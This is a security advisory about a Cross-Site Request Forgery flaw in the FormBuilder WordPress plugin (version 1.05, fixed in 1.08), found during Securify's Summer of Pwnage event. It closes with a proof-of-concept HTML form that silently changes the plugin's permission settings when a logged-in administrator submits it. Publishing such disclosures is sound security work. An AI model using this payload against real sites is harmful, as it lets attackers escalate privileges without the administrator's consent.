Burak Kelebek, July 2016

Cross-Site Request Forgery vulnerability in FormBuilder WordPress Plugin allows plugin permissions modification


A Cross-Site Request Forgery vulnerability has been encountered in the FormBuilder WordPress Plugin. This issue allows an attacker to change permission settings for the plugin by luring a logged on WordPress Administrator into following a malicious link.


For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.



Tested versions

This issue was successfully tested on FormBuilder version 1.05.


This issue is resolved in FormBuilder version 1.08.


The FormBuilder Plugin for WordPress allows you to build contact forms in the WordPress administrative interface without needing to know PHP or HTML.


The FormBuilder plugin lacks a CSRF (nonce) token on the request of saving permissions. Because of this an attacker is able to change permission settings for the plugin. To achieve this a logged on WordPress Administrator must be lured into following a malicious link. Proof of Concept code that demonstrates this issue can be found below.

Proof of concept

The Proof of Concept code below will change the permission settings of the FormBuilder plugin. If a logged-in admin is lured to a page with the POC below, the permission settings of the FormBuilder plugin will be adjusted to allow (WordPress) Authors to manage the settings page of the FormBuilder plugin.

      <form action="http://<target>/wp-admin/tools.php?page=formbuilder.php&fbaction=settings" method="POST">
         <input type="hidden" name="formbuilder_permissions[level_10][connect]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_10][create]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][connect]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][create]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][manage]" value="yes" />
         <input type="hidden" name="permissions_save" value="Save" />
         <input type="submit" value="Submit" />